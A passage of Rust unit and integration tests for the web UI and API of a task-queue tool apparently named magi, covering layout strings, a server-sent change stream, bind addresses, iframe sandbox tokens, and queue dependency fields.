20413 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
20414 assert!(APP_JS.contains("class: \"badge talk-unread\""));
20415 }
20416
20417 #[test]
20418 fn run_rows_put_the_title_alone_on_the_first_line() {
20419 assert!(
20420 APP_CSS.contains(
20421 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
20422 )
20423 );
20424 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
20425 assert!(APP_JS.contains("class: \"card run-card\""));
20426 assert!(APP_JS.contains("class: \"repo run-id\""));
20427 }
20428
20429 #[test]
20433 fn wide_screens_show_list_and_preview_side_by_side() {
20434 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
20436 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
20437 assert!(APP_CSS.contains("main[data-split]"));
20438 assert!(APP_CSS.contains("body[data-split]"));
20439
20440 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
20442 assert!(
20443 APP_JS.contains(
20444 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
20445 )
20446 );
20447 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
20448 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
20449 assert!(INDEX_HTML.contains("id=\"split-empty\""));
20450
20451 assert!(APP_JS.contains("function markSelected() {"));
20453 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
20454 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
20455 assert!(
20457 APP_CSS.contains(
20458 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
20459 )
20460 );
20461
20462 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
20464 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
20465 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
20466 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
20467
20468 assert!(APP_JS.contains("if (state.detail !== detail) return;"));
20472 assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
20473 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
20474 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
20475
20476 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
20478 }
20479
20480 #[test]
20481 fn panel_sandbox_carries_exactly_popups() {
20482 let needle = "sandbox: \"";
20483 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
20484 assert_eq!(
20485 matches.len(),
20486 1,
20487 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
20488 );
20489 let start = matches[0].0 + needle.len();
20490 let end = APP_JS[start..]
20491 .find('"')
20492 .expect("sandbox attribute value must be terminated by a closing quote");
20493 let val = &APP_JS[start..start + end];
20494 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
20495 let expected: std::collections::BTreeSet<&str> =
20496 ["allow-popups", "allow-popups-to-escape-sandbox"]
20497 .into_iter()
20498 .collect();
20499 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
20500 assert!(
20501 !tokens.contains("allow-scripts"),
20502 "allow-scripts must never be present in sandbox"
20503 );
20504 assert!(
20505 !tokens.contains("allow-same-origin"),
20506 "allow-same-origin must never be present in sandbox"
20507 );
20508 }
20509
20510 #[test]
20511 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
20512 assert!(
20521 APP_JS.contains(
20522 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
20523 ),
20524 "the search-clearing branch must run before state.queueFocus is cleared, or the \
20525 recursive renderQueue() call has nothing left to jump to"
20526 );
20527 assert!(
20528 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
20529 "state.queueFocus must be cleared only once the jump has landed, so a card that \
20530 arrives later still gets it"
20531 );
20532 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
20533 assert!(APP_JS.contains("is not in the current Backlog."));
20534 assert!(APP_JS.contains("li.card[data-task-id=\""));
20535 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
20536 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
20537 assert!(APP_CSS.contains(".card-permalink"));
20538 assert!(APP_CSS.contains(".queue-focus-status"));
20539 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
20540 }
20541
20542 #[test]
20543 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
20544 assert!(
20552 APP_JS.contains(
20553 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
20554 ),
20555 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
20556 );
20557 }
20558
20559 #[test]
20560 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
20561 assert!(
20562 APP_JS.contains("round.verified_head !== round.head"),
20563 "a round that verified an earlier commit must be visibly distinct from one that \
20564 verified the head reviewers are looking at now"
20565 );
20566 assert!(
20567 APP_JS.contains("round.verified_at"),
20568 "when a check ran must be on the wire, not just which commit"
20569 );
20570 assert!(
20571 APP_JS.contains("resource_blocked"),
20572 "a command magi never got to run (shared build cache contention) must not render \
20573 the same as a command that ran and failed"
20574 );
20575 }
20576
20577 #[test]
20578 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
20579 assert!(
20587 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
20588 "every KPI tile built through statusTile() must route its click through \
20589 openRunsFiltered, the single place that sets the Runs filter"
20590 );
20591 for (label, status) in [
20592 ("Merged", "merged"),
20593 ("Ready", "ready"),
20594 ("Blocked", "blocked"),
20595 ("Stalled", "stalled"),
20596 ] {
20597 let call = format!("statusTile(\"{label}\", t.{status}, ");
20598 assert!(
20599 APP_JS.contains(&call),
20600 "expected the {label} KPI tile built via {call}..."
20601 );
20602 assert!(
20603 APP_JS.contains(&format!("status === \"{status}\"")),
20604 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
20605 compare a run against, not one invented only for the stats tile"
20606 );
20607 }
20608 assert!(
20609 APP_JS.contains("function openRunsFiltered(status)"),
20610 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
20611 );
20612 assert!(
20613 APP_JS.contains(
20614 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
20615 ),
20616 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
20617 );
20618 assert!(
20626 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
20627 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
20628 hashchange event that may never fire"
20629 );
20630 }
20631
20632 #[test]
20633 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
20634 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
20640 assert!(
20641 APP_JS.contains(
20642 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
20643 ),
20644 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
20645 guard for an incompatible tree section"
20646 );
20647 }
20648
20649 #[test]
20650 fn every_stats_queue_tile_names_a_real_queue_section() {
20651 assert!(
20657 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
20658 "every queue tile built through sectionTile() must route its click through \
20659 openQueueSectionFocus"
20660 );
20661 for key in ["upnext", "running", "done", "held", "blocked"] {
20662 assert!(
20663 APP_JS.contains(&format!("{{ key: \"{key}\",")),
20664 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
20665 );
20666 }
20667 for line in [
20671 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
20672 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
20673 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
20674 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
20675 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
20676 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
20677 ] {
20678 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
20679 }
20680 }
20681
20682 #[test]
20683 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
20684 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
20691 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
20692 assert!(APP_JS.contains("function revealQueueSection(details)"));
20693 assert!(
20694 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
20695 "renderQueue() must consume both focus channels on every pass"
20696 );
20697 assert!(
20698 APP_JS.contains(
20699 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
20700 ),
20701 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
20702 the recursive renderQueue() call has nothing left to reveal"
20703 );
20704 assert!(
20705 APP_JS.contains(
20706 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
20707 ),
20708 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
20709 );
20710 assert!(
20718 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
20719 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20720 hashchange event that may never fire"
20721 );
20722 }
20723
20724 #[tokio::test]
20725 async fn the_change_stream_announces_the_current_revisions_on_connect() {
20726 let f = Fixture::start().await;
20727
20728 let mut socket = tokio::net::TcpStream::connect(f.addr)
20729 .await
20730 .expect("connect");
20731 socket
20732 .write_all(
20733 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20734 )
20735 .await
20736 .expect("write request");
20737
20738 let mut seen = String::new();
20741 let mut buf = [0u8; 1024];
20742 while !seen.contains("event: change") {
20743 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20744 .await
20745 .expect("the stream must speak within five seconds")
20746 .expect("read");
20747 assert!(read > 0, "the server closed the change stream: {seen}");
20748 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20749 }
20750
20751 assert!(
20752 seen.to_lowercase()
20753 .contains("content-type: text/event-stream"),
20754 "the browser only reconnects automatically for a real SSE stream: {seen}"
20755 );
20756 let data = seen
20757 .lines()
20758 .find_map(|l| l.strip_prefix("data:"))
20759 .expect("a data line");
20760 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20761 assert!(
20762 payload["queue_rev"].is_u64()
20763 && payload["runs_rev"].is_u64()
20764 && payload["questions_rev"].is_u64()
20765 && payload["talks_rev"].is_u64()
20766 && payload["notifications_rev"].is_u64()
20767 && payload["loop_rev"].is_u64(),
20768 "the client needs one revision per store to know what to refetch, \
20769 and `talks_rev` is the only notification a standing talk gets - a \
20770 phone whose radio slept through a turn learns about it here, as \
20771 does one whose operator started the loop from another device: \
20772 {payload}"
20773 );
20774
20775 let health = f.get("/api/health").await.json();
20782 for key in [
20783 "queue_rev",
20784 "runs_rev",
20785 "questions_rev",
20786 "talks_rev",
20787 "notifications_rev",
20788 "loop_rev",
20789 ] {
20790 assert!(
20791 health[key].is_u64(),
20792 "health is the change stream's fallback and is missing `{key}`: {health}"
20793 );
20794 }
20795 }
20796
20797 #[tokio::test]
20798 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
20799 let f = Fixture::start().await;
20800 let before = f.get("/api/health").await.json()["talks_rev"]
20801 .as_u64()
20802 .expect("talks_rev");
20803
20804 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
20805 std::thread::sleep(Duration::from_millis(10));
20806 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
20807 on_disk.turns.push(crate::talk::Turn {
20808 sender: None,
20809 breaks: Some(Vec::new()),
20810 messages: Vec::new(),
20811 posted_by: None,
20812 who: crate::talk::Who::Operator,
20813 body: "a new turn".to_owned(),
20814 at: Timestamp::now(),
20815 attachments: Vec::new(),
20816 usage: None,
20817 });
20818 f.talks().put(&mut on_disk).expect("record a turn");
20819
20820 let after = tokio::time::timeout(Duration::from_secs(5), async {
20821 loop {
20822 let revision = f.get("/api/health").await.json()["talks_rev"]
20823 .as_u64()
20824 .unwrap();
20825 if revision != before {
20826 break revision;
20827 }
20828 tokio::time::sleep(Duration::from_millis(50)).await;
20829 }
20830 })
20831 .await
20832 .expect("shared monitor observes external turn");
20833 assert_ne!(
20834 before, after,
20835 "a phone must be able to notice a talk's reply without polling every store"
20836 );
20837 }
20838
20839 #[test]
20840 fn bind_reads_back_from_the_spelling_the_cli_prints() {
20841 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
20845 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
20846 }
20847 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
20848 assert!("everywhere".parse::<Bind>().is_err());
20849 }
20850
20851 #[test]
20852 fn an_explicit_bind_address_is_taken_verbatim() {
20853 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
20854
20855 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
20856
20857 assert_eq!(addr, asked);
20858 assert!(
20859 warning.is_none(),
20860 "an operator who named an address gets no lecture"
20861 );
20862 }
20863
20864 #[test]
20865 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
20866 let (addr, warning) = resolve_bind(&Bind::Auto);
20867
20868 match addr {
20875 IpAddr::V4(ip) if is_tailnet(&ip) => {
20876 assert!(warning.is_none(), "a tailnet address needs no warning");
20877 }
20878 other => {
20879 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
20880 let warning = warning.expect("a fallback has to explain itself");
20881 assert!(
20882 warning.contains("127.0.0.1") && warning.contains("local-only"),
20883 "the warning says what happened and what it costs: {warning}"
20884 );
20885 }
20886 }
20887 }
20888
20889 #[test]
20890 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
20891 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
20895 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
20896 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
20897 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
20898 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
20899 }
20900
20901 #[test]
20902 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
20903 let ids = vec![
20904 "20260902-140501-aaaa".to_owned(),
20905 "20260902-140502-aabb".to_owned(),
20906 ];
20907
20908 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
20909 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
20910 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
20911
20912 assert_eq!(missing.status, StatusCode::NOT_FOUND);
20913 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
20914 assert_eq!(short, "20260902-140502-aabb");
20915 }
20916 #[tokio::test]
20917 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
20918 let fx = Fixture::start().await;
20924 let id = panel(
20925 &fx,
20926 "<img src=\"shot.png\">",
20927 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
20928 );
20929
20930 let doc = fx
20932 .get(&format!("/api/questions/{id}/panel/index.html"))
20933 .await;
20934 assert_eq!(doc.status, 200, "{}", doc.body);
20935 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
20936
20937 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
20938 assert_eq!(sibling.status, 200, "{}", sibling.body);
20939 assert_eq!(sibling.header("content-type"), Some("image/png"));
20940 assert_eq!(
20941 sibling.header("content-security-policy"),
20942 Some(PANEL_CSP),
20943 "the sibling route must carry the same policy as the asset route"
20944 );
20945
20946 assert_eq!(
20949 fx.head(&format!("/api/questions/{id}/panel")).await.status,
20950 200
20951 );
20952 }
20953
20954 #[test]
20955 fn delta_stamps_cover_add_update_remove_and_noop() {
20956 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
20957 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
20958 let delta = diff_stamps(&before, &after, 42);
20959 assert_eq!(delta.base, 42);
20960 assert_eq!(delta.changed, ["b", "c"]);
20961 assert_eq!(delta.removed, ["a"]);
20962 let same = diff_stamps(&after, &after, 43);
20963 assert!(same.changed.is_empty() && same.removed.is_empty());
20964 assert_ne!(stamps_revision(&before), stamps_revision(&after));
20965 let nanos: Stamps = [("b".into(), (2, 20))].into();
20966 let same_ms: Stamps = [("b".into(), (3, 20))].into();
20967 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
20968 assert_eq!(stamps_revision(&Stamps::new()), 0);
20969 }
20970
20971 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
20972 std::fs::create_dir_all(home.join("runs")).unwrap();
20973 Arc::new(
20974 Ui::new(
20975 Queue::at(home.join("queue")),
20976 Questions::at(home.join("questions")),
20977 Talks::at(home.join("talks")),
20978 home.join("runs"),
20979 home.to_owned(),
20980 PathBuf::from("/repo/magi"),
20981 )
20982 .with_worktrees_root(home.join("wt")),
20983 )
20984 }
20985
20986 #[test]
20987 fn monitor_scan_isolates_store_failures_and_recovers() {
20988 let home = TempDir::new().unwrap();
20989 let ui = delta_test_ui(home.path());
20990 std::fs::create_dir_all(ui.questions.root()).unwrap();
20991 std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
20992 let before = monitor_scan(&ui, None);
20993 std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
20994 std::fs::write(ui.questions.root(), "not a directory").unwrap();
20995 std::fs::create_dir_all(ui.talks.root()).unwrap();
20996 std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
20997 let during = monitor_scan(&ui, Some(before.clone()));
20998 assert_eq!(during.0.2, before.0.2);
20999 assert_ne!(during.0.3, before.0.3);
21000 assert!(during.1[2].contains_key("new"));
21001 std::fs::remove_file(ui.questions.root()).unwrap();
21002 let after = monitor_scan(&ui, Some(during));
21003 assert_eq!(after.0.2, 0);
21004 assert_eq!(after.0.3, stamps_revision(&after.1[2]));
21005 std::fs::write(ui.questions.root(), "not a directory").unwrap();
21007 assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
21008 }
21009
21010 #[tokio::test]
21011 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
21012 let home = TempDir::new().unwrap();
21013 let ui = delta_test_ui(home.path());
21014 let mut task = Task::new(
21015 "stream task".into(),
21016 "text".into(),
21017 PathBuf::from("/repo"),
21018 Source::Human,
21019 );
21020 ui.queue.put(&mut task).unwrap();
21021 let response = events(State(ui.clone())).await.into_response();
21022 let mut stream = response.into_body().into_data_stream();
21023 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
21024 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
21025 .await
21026 .unwrap()
21027 .unwrap()
21028 .unwrap();
21029 let text = String::from_utf8(chunk.to_vec()).unwrap();
21030 let data = text
21031 .lines()
21032 .find_map(|line| {
21033 line.strip_prefix("data: ")
21034 .or_else(|| line.strip_prefix("data:"))
21035 })
21036 .unwrap();
21037 serde_json::from_str(data).unwrap()
21038 }
21039 let initial = change(&mut stream).await;
21040 assert!(initial.get("queue_delta").is_none());
21041 task.instruction.push_str(" changed");
21042 ui.queue.put(&mut task).unwrap();
21043 let updated = change(&mut stream).await;
21044 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
21045 assert_eq!(
21046 updated["queue_delta"]["changed"],
21047 serde_json::json!([task.id])
21048 );
21049 assert_eq!(
21050 updated["queue_rev"].as_u64(),
21051 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
21052 );
21053 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
21054 let removed = change(&mut stream).await;
21055 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
21056 assert_eq!(
21057 removed["queue_delta"]["removed"],
21058 serde_json::json!([task.id])
21059 );
21060 }
21061
21062 #[tokio::test]
21063 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
21064 let home = TempDir::new().unwrap();
21065 let ui = delta_test_ui(home.path());
21066 let queue = ui.queue.clone();
21067 let query = |ids: Option<&str>| {
21068 Query(ListQuery {
21069 limit: Some(2),
21070 ids: ids.map(str::to_owned),
21071 })
21072 };
21073 let mut root = Task::new(
21074 "root".into(),
21075 "instruction".into(),
21076 PathBuf::from("/repo"),
21077 Source::Human,
21078 );
21079 queue.put(&mut root).unwrap();
21080 let mut blocked = Task::new(
21081 "blocked".into(),
21082 "instruction".into(),
21083 PathBuf::from("/repo"),
21084 Source::Human,
21085 );
21086 blocked.block(vec![root.id.clone()], None);
21087 queue.put(&mut blocked).unwrap();
21088 let whole =
21089 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
21090 .unwrap();
21091 let subset = serde_json::to_value(
21092 queue_list(State(ui.clone()), query(Some(&root.id)))
21093 .await
21094 .unwrap()
21095 .0,
21096 )
21097 .unwrap();
21098 assert_eq!(whole, subset, "requested root plus its blocked dependent");
21099 let blockers = serde_json::to_value(
21100 queue_list(State(ui.clone()), query(Some("")))
21101 .await
21102 .unwrap()
21103 .0,
21104 )
21105 .unwrap();
21106 assert_eq!(blockers.as_array().unwrap().len(), 1);
21107 assert_eq!(blockers[0]["id"], blocked.id);
21108 assert_eq!(
21109 blockers[0]["waits_on"],
21110 whole
21111 .as_array()
21112 .unwrap()
21113 .iter()
21114 .find(|row| row["id"] == blocked.id)
21115 .unwrap()["waits_on"]
21116 );
21117
21118 for id in [
21119 "20260902-140501-aaaa",
21120 "20260902-140502-bbbb",
21121 "20260902-140503-cccc",
21122 ] {
21123 write_run(&ui.runs, id, RunStatus::Merged);
21124 }
21125 let old = serde_json::to_value(
21126 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
21127 .await
21128 .unwrap()
21129 .0,
21130 )
21131 .unwrap();
21132 assert!(
21133 old.as_array().unwrap().is_empty(),
21134 "older updates must not enter the window"
21135 );
21136 let newest = serde_json::to_value(
21137 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
21138 .await
21139 .unwrap()
21140 .0,
21141 )
21142 .unwrap();
21143 assert_eq!(newest.as_array().unwrap().len(), 1);
21144 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
21145
21146 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
21147 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
21148 let talks = serde_json::to_value(
21149 talks_list(
21150 State(ui.clone()),
21151 query(Some("20260905-000000-d4e5")),
21152 header::HeaderMap::new(),
21153 )
21154 .await
21155 .unwrap()
21156 .0,
21157 )
21158 .unwrap();
21159 assert_eq!(talks.as_array().unwrap().len(), 1);
21160 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
21161 assert_eq!(
21162 serde_json::to_value(
21163 talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
21164 .await
21165 .unwrap()
21166 .0
21167 )
21168 .unwrap(),
21169 serde_json::json!([])
21170 );
21171 }
21172
21173 #[tokio::test]
21174 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
21175 async fn delta_payload_benchmark() {
21176 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
21177 let ui = delta_test_ui(&home);
21178 let query = |ids: Option<String>| {
21179 Query(ListQuery {
21180 limit: Some(50),
21181 ids,
21182 })
21183 };
21184 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
21185 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
21186 let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
21187 .await
21188 .unwrap()
21189 .0;
21190 let queue_id = queue
21191 .iter()
21192 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
21193 .unwrap_or(&queue[0])
21194 .task
21195 .id
21196 .clone();
21197 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
21198 .await
21199 .unwrap()
21200 .0;
21201 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
21202 .await
21203 .unwrap()
21204 .0;
21205 let talks_delta = talks_list(
21206 State(ui.clone()),
21207 query(Some(talks[0].id.clone())),
21208 header::HeaderMap::new(),
21209 )
21210 .await
21211 .unwrap()
21212 .0;
21213 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
21214 eprintln!(
21215 "DELTA_PAYLOAD {}",
21216 serde_json::json!({
21217 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
21218 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
21219 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
21220 "counts": [queue.len(), runs.len(), talks.len()],
21221 "blocked": queue_delta.len() - 1,
21222 })
21223 );
21224 }
21225
21226 #[test]
21227 fn runs_revision_moves_when_deleting_an_older_run() {
21228 let temp = TempDir::new().expect("tempdir");
21229 let runs = temp.path().join("runs");
21230 std::fs::create_dir_all(&runs).expect("create runs dir");
21231
21232 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
21233
21234 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
21235 std::thread::sleep(Duration::from_millis(10));
21236 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
21237
21238 let rev_before = runs_revision(&runs);
21239 assert!(rev_before > 0);
21240
21241 let old_dir = runs.join("20260901-100000-old1");
21242 std::fs::remove_dir_all(&old_dir).expect("remove old run");
21243
21244 let rev_after = runs_revision(&runs);
21245 assert_ne!(
21246 rev_before, rev_after,
21247 "deleting an older run must change the revision so other clients see the deletion"
21248 );
21249 }
21250
21251 fn write_state(runs: &FsPath, state: &RunState) {
21256 let dir = runs.join(&state.id);
21257 std::fs::create_dir_all(&dir).expect("run dir");
21258 std::fs::write(
21259 dir.join("run.json"),
21260 serde_json::to_string_pretty(state).expect("serialize run"),
21261 )
21262 .expect("write run.json");
21263 }
21264
21265 #[test]
21270 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
21271 let temp = TempDir::new().expect("tempdir");
21272 let runs = temp.path().join("runs");
21273 std::fs::create_dir_all(&runs).expect("create runs dir");
21274 let mut state = RunState::new(
21275 PathBuf::from("/repo/magi"),
21276 "main".to_owned(),
21277 "0123456789abcdef".to_owned(),
21278 "task".to_owned(),
21279 Config::default(),
21280 );
21281 state.id = "20260902-100000-c0de".to_owned();
21282 write_state(&runs, &state);
21283
21284 let rev_idle = runs_revision(&runs);
21285 std::thread::sleep(Duration::from_millis(10));
21286 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
21287 write_state(&runs, &state);
21288 let rev_started = runs_revision(&runs);
21289 assert_ne!(
21290 rev_idle, rev_started,
21291 "a seat starting must move the revision"
21292 );
21293
21294 std::thread::sleep(Duration::from_millis(10));
21295 state.seat_finished("judge-1");
21296 write_state(&runs, &state);
21297 let rev_finished = runs_revision(&runs);
21298 assert_ne!(
21299 rev_started, rev_finished,
21300 "and clearing it again must move the revision a second time"
21301 );
21302 }
21303
21304 #[tokio::test]
21305 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
21306 let fx = Fixture::start().await;
21311 let q = fx.queue();
21312
21313 let mut t = Task::new(
21314 "Task".to_owned(),
21315 "Instruction".to_owned(),
21316 PathBuf::from("/repo"),
21317 Source::Human,
21318 );
21319 t.block(
21320 vec!["20260101-000000-dead".to_owned()],
21321 Some("waiting on Task 1".to_owned()),
21322 );
21323 t.answers.push(crate::queue::AnsweredQuestion {
21324 question: "Which backend?".to_owned(),
21325 answer: "SQLite".to_owned(),
21326 });
21327 q.put(&mut t).expect("put t");
21328
21329 let res = fx.get("/api/queue").await;
21330 assert_eq!(res.status, 200);
21331 let list = res.json();
21332 let view = list
21333 .as_array()
21334 .expect("array")
21335 .iter()
21336 .find(|v| v["id"] == t.id)
21337 .expect("task in list");
21338 assert_eq!(view["status_str"], "blocked");
21339 assert_eq!(
21340 view["blocked_by"],
21341 serde_json::json!(["20260101-000000-dead"])
21342 );
21343 assert_eq!(view["block_reason"], "waiting on Task 1");
21344 assert_eq!(view["answers"][0]["question"], "Which backend?");
21345 assert_eq!(view["answers"][0]["answer"], "SQLite");
21346
21347 let res = fx
21351 .post(&format!("/api/queue/{}/hold", t.short()), None)
21352 .await;
21353 assert_eq!(res.status, 200);
21354 let held = res.json();
21355 assert_eq!(held["status_str"], "held");
21356 assert_eq!(held["blocked_by"], serde_json::json!([]));
21357 assert!(held["block_reason"].is_null());
21358 assert_eq!(held["answers"][0]["answer"], "SQLite");
21359 }
21360
21361 #[tokio::test]
21362 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
21363 let fx = Fixture::start().await;
21364 let q = fx.queue();
21365 let mk = |title: &str| {
21366 Task::new(
21367 title.to_owned(),
21368 "Instruction".to_owned(),
21369 PathBuf::from("/repo"),
21370 Source::Human,
21371 )
21372 };
21373 let mut root = mk("root");
21374 root.hold_manual(Some("waiting".to_owned()));
21375 q.put(&mut root).unwrap();
21376 let mut mid = mk("mid");
